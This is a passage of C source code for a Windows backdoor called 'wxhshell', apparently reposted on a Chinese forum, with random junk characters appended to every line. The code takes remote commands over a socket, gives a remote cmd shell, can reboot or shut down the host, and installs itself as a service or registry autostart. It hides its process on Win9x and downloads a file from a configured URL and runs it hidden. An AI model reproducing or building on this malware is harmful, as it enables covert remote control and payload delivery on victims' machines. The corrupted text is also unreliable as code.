      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }NQ {S3JW  
    break; QT;mCD=OD  
  } /A U& X  
  // 安装 $6ZO V/0  
  case 'i': { 6S;-fj  
    if(Install()) f$lf(brQ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X676*;:!.  
    else -`mHb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8?lp:kM  
    break; UqaLTdYG  
    } %n3lm(-0U  
  // 卸载 m17H#!`  
  case 'r': { {%S>!RA  
    if(Uninstall()) "g)@jqq:>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2BU%4IG  
    else 6$}hb|j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y%X{[F  
    break; ?(cbZ#( o  
    } <bPn<QI  
  // 显示 wxhshell 所在路径 @ (UacFO  
  case 'p': { 7*e7P[LQU  
    char svExeFile[MAX_PATH]; A~CQ@  
    strcpy(svExeFile,"\n\r"); IAD_Tck  
      strcat(svExeFile,ExeFile); 3H0~?z_  
        send(wsh,svExeFile,strlen(svExeFile),0); ,FvBZ.4c3=  
    break; : kVEB<G  
    } .c[v /SB]  
  // 重启 MCOz-8@|Y  
  case 'b': { =R08B)yR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rw$>()}H8  
    if(Boot(REBOOT)) $J>J@4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\Z& sc  
    else { ]%yph3C  
    closesocket(wsh); FbMX?T"yH  
    ExitThread(0); dF$Fd{\4^  
    } $Ik\^:-  
    break; /( /)nYAjk  
    } -q9`Btz  
  // 关机 `ySmzp  
  case 'd': { o(,u"c/Or  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \($EYhx  
    if(Boot(SHUTDOWN)) "y_A xOH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;~x{q]3  
    else { o}XbFL n  
    closesocket(wsh); 'CqWF"  
    ExitThread(0); DwXzmp[qWH  
    } $z-zscco  
    break; *5DOTWos  
    } [p%@ pV  
  // 获取shell MLV_I4o  
  case 's': { l65-8  
    CmdShell(wsh); TI{W(2O*  
    closesocket(wsh); FFH9 $>A  
    ExitThread(0); 2k,!P6fgl  
    break; i"}%ib*X  
  } %KxL{ HY  
  // 退出 .".xNHR#  
  case 'x': { lW! U:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3YyB0BMW  
    CloseIt(wsh); "(uEcS2<  
    break; hjB G`S#  
    } 4}:a"1P"  
  // 离开 t_@xzt10y  
  case 'q': { 'H0b1t1S%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o(iN}.c  
    closesocket(wsh); p?OwcMT]M  
    WSACleanup(); WN?1J4H  
    exit(1); :eQ?gM!,  
    break; >b>3M'  
        } ='1J&w~7  
  } :IFTiq5a;  
  } GdFTKOq  
"]}+QK_  
  // 提示信息 -ec ~~95  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bP%0T++vo  
} Hcw@24ic  
  } |A_yr/f  
2.=3:q!H<%  
  return; rA9BY :N@  
} (\ `knsE!  
dQ97O{O:i  
// shell模块句柄 KsM2?aqwf_  
int CmdShell(SOCKET sock) i 7:R4G(/#  
{ i]{M G'tg  
STARTUPINFO si; 41y}n{4n8  
ZeroMemory(&si,sizeof(si)); k'uN2m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5_U3Fs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vmI]N  
PROCESS_INFORMATION ProcessInfo; L1"y5HJ  
char cmdline[]="cmd"; Fx']kn9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^E&':6(  
  return 0; FHVZ/ e  
} @,i_ KN6C  
o/E A%q1  
// 自身启动模式 8UArl3  
int StartFromService(void) ,5" vzGLJ  
{ =:rR%L!a  
typedef struct IS0RhtGy/  
{ ~c7}eTJd"  
  DWORD ExitStatus; S_cba(0-|\  
  DWORD PebBaseAddress; MF/359r)Et  
  DWORD AffinityMask; Ob+L|FbnN  
  DWORD BasePriority; EB'(%dH  
  ULONG UniqueProcessId; tp2CMJc{L  
  ULONG InheritedFromUniqueProcessId; ;\=W=wL(  
}   PROCESS_BASIC_INFORMATION; hv 18V>8  
yyJ4r}TE  
PROCNTQSIP NtQueryInformationProcess; _K{hq<g  
N%{&%C6{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;+XiDEX0}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "J(#|v0  
iivuH2/~?[  
  HANDLE             hProcess; pX ]K-  
  PROCESS_BASIC_INFORMATION pbi; mc_`:I=  
wXf_2qB9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); is`Eqcj`dr  
  if(NULL == hInst ) return 0; iQpKcBx  
CMa~BOt#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gCAWRNp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aF4vNUeG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hA)tad]  
w~>V2u_-  
  if (!NtQueryInformationProcess) return 0; }0c  
 Ex35  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9,y*kC  
  if(!hProcess) return 0; #"%=7(  
_A%} >:q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R*I{?+  
VJ P]Jy_  
  CloseHandle(hProcess); jJ-j   
b@@`2O3"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6R% I)  
if(hProcess==NULL) return 0; X_XeI!,b  
IGs!SXclCs  
HMODULE hMod; S2/c2  
char procName[255]; 4`uI)N(}*  
unsigned long cbNeeded; |Euf:yWY  
a?%X9 +1A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GbG!vo  
'Syq!=,  
  CloseHandle(hProcess); rgheq<B:  
U]Q2EL\%  
if(strstr(procName,"services")) return 1; // 以服务启动 {zhN>n_  
i[)H!%RV*  
  return 0; // 注册表启动 T%K"^4k  
} `V[{(&?,n  
+~RiCZt  
// 主模块 b 8v?@s~  
int StartWxhshell(LPSTR lpCmdLine) jI0gQ [  
{ B@dA?w.x  
  SOCKET wsl; p;Kw$fQ?  
BOOL val=TRUE; :~BY[")  
  int port=0; k0.|%0?K  
  struct sockaddr_in door; dC;@ Fn  
-xtj:UO  
  if(wscfg.ws_autoins) Install(); w$UWfL(  
,dK<2XP  
port=atoi(lpCmdLine); RajzH2j+>  
+K2jYgy  
if(port<=0) port=wscfg.ws_port; qazM@  
\"i2E!  
  WSADATA data; RVtb0FL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O7bTu<h=  
u$d T^c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "1_eZ`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XJTY91~R  
  door.sin_family = AF_INET; S{aK\>>H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MDa 4U@Q  
  door.sin_port = htons(port); %gDMz7$~  
($&i\e31N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BKe~ y  
closesocket(wsl); &^^zm9{  
return 1; ?)k;.<6  
} 0m_c43+^  
I:[^><?E  
  if(listen(wsl,2) == INVALID_SOCKET) { )xIk#>)  
closesocket(wsl); 2ku\R7  
return 1; + |MHiC  
} ]cLO-A  
  Wxhshell(wsl); 6}A1^RB+w  
  WSACleanup(); 0 3kzS ]g  
r`}')2  
return 0; p7}x gUxX  
7HzO_u%H1  
} Qp~O!9ph  
0dA'f0Uy\X  
// 以NT服务方式启动 7 7"'?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5O<7<O B  
{ {j.5!Nj]B  
DWORD   status = 0; <[Ae 0UK  
  DWORD   specificError = 0xfffffff;  RSXYz8{  
yZ=wT,Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `=8g%O|T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s,O:l0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q1?  !,a  
  serviceStatus.dwWin32ExitCode     = 0; Nw'i;}0v7r  
  serviceStatus.dwServiceSpecificExitCode = 0; e*.l6H/B  
  serviceStatus.dwCheckPoint       = 0; 6VpT*,2d~  
  serviceStatus.dwWaitHint       = 0; ^6`"f  
f}b= FV{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 21x?TZa  
  if (hServiceStatusHandle==0) return; -Zd0[& ']  
3 4CqLPg8  
status = GetLastError(); rkh+$*t@i7  
  if (status!=NO_ERROR) :hB/|H*=  
{ IY2ca Xu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  +T02AS  
    serviceStatus.dwCheckPoint       = 0; ^=@L(;Y  
    serviceStatus.dwWaitHint       = 0; M \rW  
    serviceStatus.dwWin32ExitCode     = status; Kf#9-.}?  
    serviceStatus.dwServiceSpecificExitCode = specificError; S*<+vIo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7<['4*u  
    return; 1*<m,.$  
  } jh \L)a*  
W3K?K-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $-'p6^5  
  serviceStatus.dwCheckPoint       = 0; M q;m+{B  
  serviceStatus.dwWaitHint       = 0; H@o 3u>}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ha{#  
} ^%tmHDNL.  
G$&SlJZEk  
// 处理NT服务事件,比如:启动、停止 n!e4"|4~z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o_hk!s^4m  
{ =NxT9$V  
switch(fdwControl) (;-< @~2  
{ H$Om{r1j  
case SERVICE_CONTROL_STOP: gSS2)Sd}  
  serviceStatus.dwWin32ExitCode = 0; 'B0= "7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5>M6lwS  
  serviceStatus.dwCheckPoint   = 0; ~ {OBRC  
  serviceStatus.dwWaitHint     = 0; W Z`u"t^2V  
  { M:i;;)cq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); swEE >=  
  } :^7/+|}9p  
  return; <]#'6'  
case SERVICE_CONTROL_PAUSE: 7jP C{W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  >sk vg  
  break; |c,,*^  
case SERVICE_CONTROL_CONTINUE: X,dOF=OJL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iX,| ;J|]  
  break; v.Wkz9 w}  
case SERVICE_CONTROL_INTERROGATE: seO7/h_a  
  break; GqB]^snh  
}; R+Q..9 P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >.^/Z/[.L  
} H0tj Bnu   
~kM# lh7At  
// 标准应用程序主函数 uh#"4-v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }: v&Nc  
{ F"o K*s  
^ 'W<|  
// 获取操作系统版本 oqeA15k$  
OsIsNt=GetOsVer(); %!Z9: +;B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {x$WBy9  
3gN#[P  
  // 从命令行安装 P:,@2el  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^p3"_;p)h  
zi M~V'  
  // 下载执行文件 0~2~^A#]\  
if(wscfg.ws_downexe) { 08*bYJu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t;g= @o9YA  
  WinExec(wscfg.ws_filenam,SW_HIDE); <49Gsm&0  
} ?86q8E3;&  
A"Q6GM2;Io  
if(!OsIsNt) { LDilrG)  
// 如果时win9x,隐藏进程并且设置为注册表启动 h8#14?  
HideProc(); ft$@':F  
StartWxhshell(lpCmdLine); 'a8{YT4  
} Fo  K!JX*  
else X.^S@3[  
  if(StartFromService()) R0|dKKzS  
  // 以服务方式启动 h$3o]~t  
  StartServiceCtrlDispatcher(DispatchTable); 1yHlBeEC  
else  {*!L[)  
  // 普通方式启动 V}c3}'_U]  
  StartWxhshell(lpCmdLine); d~#>.$Uu  
$J]VY;C!  
return 0; ,ru2C_LQ  
}
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只看该作者 1 发表于: 2006-10-10
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